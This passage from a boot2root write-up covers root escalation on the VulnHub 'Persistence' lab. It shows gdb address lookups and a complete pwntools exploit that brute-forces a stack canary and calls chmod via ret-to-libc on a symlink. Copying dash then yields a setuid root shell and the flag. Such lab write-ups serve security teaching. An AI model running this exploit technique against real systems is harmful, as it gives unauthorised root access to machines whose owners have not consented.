Starting program: /usr/local/bin/wopr
Temporary breakpoint 1, 0x080487e7 in main ()
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.132.el6.i686
(gdb) print chmod
$1 = {<text variable, no debug info>} 0x203230 <chmod>
Now, I need a path that I can control, for which there is a reference to in this binary. Looking at the source, there is the hard coded path for the file '/tmp/log'. This file does not exist - perfect. Time to get its address.
(gdb) info proc mappings
process 2619
cmdline = '/usr/local/bin/wopr'
cwd = '/home/avida'
exe = '/usr/local/bin/wopr'
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x110000 0x12e000 0x1e000 0 /lib/ld-2.12.so
0x12e000 0x12f000 0x1000 0x1d000 /lib/ld-2.12.so
0x12f000 0x130000 0x1000 0x1e000 /lib/ld-2.12.so
0x130000 0x131000 0x1000 0 [vdso]
0x131000 0x2c2000 0x191000 0 /lib/libc-2.12.so
0x2c2000 0x2c4000 0x2000 0x191000 /lib/libc-2.12.so
0x2c4000 0x2c5000 0x1000 0x193000 /lib/libc-2.12.so
0x2c5000 0x2c8000 0x3000 0
0x8048000 0x8049000 0x1000 0 /usr/local/bin/wopr
0x8049000 0x804a000 0x1000 0 /usr/local/bin/wopr
0x804a000 0x804b000 0x1000 0x1000 /usr/local/bin/wopr
0xb7ff9000 0xb7ffa000 0x1000 0
0xb7fff000 0xb8000000 0x1000 0
0xbffeb000 0xc0000000 0x15000 0 [stack]
(gdb) find 0x8048000,0x8049000,"/tmp/log"
0x8048c60 <__dso_handle+80>
1 pattern found.
Cool beans. So, my thinking was as follows.
- Create the file /tmp/log as a symlink to /usr/local/bin/checksrv.sh
- Execute shellcode to chown this to allow full read, write, execute access, including SUID and GID bits
- Copy /bin/dash to /usr/local/bin/checksrv.sh
- Execute the same shellcode again, to restore the SUID and GID bits
- Execute /tmp/log to gain a root shell
Here's the final exploit script.
from pwn import *
canary_offset = 30
canary_length = 4
canary = []
context.log_level = 'error'
host = '127.0.0.1'
while len(canary)<4:
for i in range(0,256):
print'Canary byte %s - trying chr(%s)'%(len(canary)+1,i)
payload = 'A' * canary_offset
payload += ''.join(canary)
payload += chr(i)
r = remote(host, 3333)
r.recvuntil('> ')
r.send(payload)
data = r.recvall()
if 'bye' in data:
canary.append(chr(i))
break
raw_input('Create symlink: ln -s /usr/local/bin/checksrv.sh /tmp/log\nPress enter when complete')
payload = 'A' * canary_offset
payload += ''.join(canary)
payload += struct.pack('I', 0xdeadbeef) # padding
payload += struct.pack('I', 0x203230) # chmod address
payload += struct.pack('I', 0xdeafbeef) # return address
payload += struct.pack('I', 0x8048c60) # address to /tmp/log string
payload += struct.pack('I', 0xfff) # file mode (suid+rwx)
r = remote(host, 3333)
r.recvuntil('> ')
r.send(payload)
data = r.recvall()
raw_input('Copy dash to /usr/local/bin/checksrv.sh: cp /bin/dash /usr/local/bin/checksrv.sh\nPress enter when complete')
r = remote(host, 3333)
r.recvuntil('> ')
r.send(payload)
data = r.recvall()
print 'Run /usr/local/bin/checksrv.sh for root dash shell'
And here it is in action..
First of all, before the exploit.
-rbash-4.1$ ls -alh /usr/local/bin
total 20K
drwxr-xr-x. 2 root root 4.0K May 27 2014 .
drwxr-xr-x. 11 root root 4.0K Jan 21 2014 ..
-rwxr-xr-x. 1 root root 115 Apr 28 2014 checksrv.sh
-rwxr-xr-x. 1 root root 7.7K Apr 28 2014 wopr
Now, I execute my script and wait for the canary to be bruteforced.
python canary.py
Canary byte 1 - trying chr(0)
Canary byte 2 - trying chr(0)
Canary byte 2 - trying chr(1)
Canary byte 2 - trying chr(2)
Canary byte 2 - trying chr(3)
Canary byte 2 - trying chr(4)
Canary byte 2 - trying chr(5)
Canary byte 2 - trying chr(6)
Canary byte 2 - trying chr(7)
Canary byte 2 - trying chr(8)
Canary byte 2 - trying chr(9)
Canary byte 2 - trying chr(10)
...
Canary byte 4 - trying chr(90)
Canary byte 4 - trying chr(91)
Canary byte 4 - trying chr(92)
Canary byte 4 - trying chr(93)
Canary byte 4 - trying chr(94)
Create symlink: ln -s /usr/local/bin/checksrv.sh /tmp/log
Press enter when complete
Next, on the target I create my symlink, as instructed.
bash-4.1$ /bin/ln -s /usr/local/bin/checksrv.sh /tmp/log
bash-4.1$ ls -lah /tmp/log
lrwxrwxrwx. 1 avida avida 26 Nov 24 13:36 /tmp/log -> /usr/local/bin/checksrv.sh
I hit enter on my test machine..
Copy dash to /usr/local/bin/checksrv.sh: cp /bin/dash /usr/local/bin/checksrv.sh
Press enter when complete
Back to the target machine, I copy /bin/dash to /usr/local/bin/checksrv.sh
bash-4.1$ cp /bin/dash /usr/local/bin/checksrv.sh
Back to my test machine once more, I hit enter..
Run /usr/local/bin/checksrv.sh for root dash shell
Finally, back to the target machine to execute /usr/local/bin/checksrv.sh for my dash shell
bash-4.1$ ls -lah /usr/local/bin/checksrv.sh
-rwsrwsrwt. 1 root root 95K Nov 24 13:38 /usr/local/bin/checksrv.sh
bash-4.1$ /usr/local/bin/checksrv.sh
# id
uid=500(avida) gid=500(avida) euid=0(root) egid=0(root) groups=0(root),500(avida) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Time to get our flag!
# ls -alh /root
total 56K
dr-xr-x---. 3 root root 4.0K Aug 21 2014 .
dr-xr-xr-x. 22 root root 4.0K Nov 24 12:51 ..
-rw-------. 1 root root 1.1K Jan 21 2014 anaconda-ks.cfg
-rw-------. 1 root root 0 Aug 21 2014 .bash_history
-rw-r--r--. 1 root root 18 May 20 2009 .bash_logout
-rw-r--r--. 1 root root 189 Apr 26 2014 .bash_profile
-rw-r--r--. 1 root root 197 Apr 26 2014 .bashrc
-rw-r--r--. 1 root root 100 Sep 22 2004 .cshrc
-r--------. 1 root root 669 Aug 21 2014 flag.txt
-rw-r--r--. 1 root root 8.3K Jan 21 2014 install.log
-rw-r--r--. 1 root root 3.3K Jan 21 2014 install.log.syslog
drwxr-----. 3 root root 4.0K Mar 11 2014 .pki
-rw-r--r--. 1 root root 129 Dec 3 2004 .tcshrc
# cat /root/flag.txt
.d8888b. .d8888b. 888
d88P Y88bd88P Y88b888
888 888888 888888
888 888 888888 888888 888888888
888 888 888888 888888 888888
888 888 888888 888888 888888
Y88b 888 d88PY88b d88PY88b d88PY88b.
"Y8888888P" "Y8888P" "Y8888P" "Y888
Congratulations!!! You have the flag!
We had a great time coming up with the
challenges for this boot2root, and we
hope that you enjoyed overcoming them.
Special thanks goes out to @VulnHub for
hosting Persistence for us, and to
@recrudesce for testing and providing
valuable feedback!
Until next time,
sagi- & superkojiman
Conclusion
Gaining my first 'shell' via ping was awesome, and the binary exploitation step (using chown) was an interesting solution, instead of the usual system / execv / shellcode method.
Over all, a really enjoyable machine!
Thank you Sagi and superkojiman, and thank you VulnHub.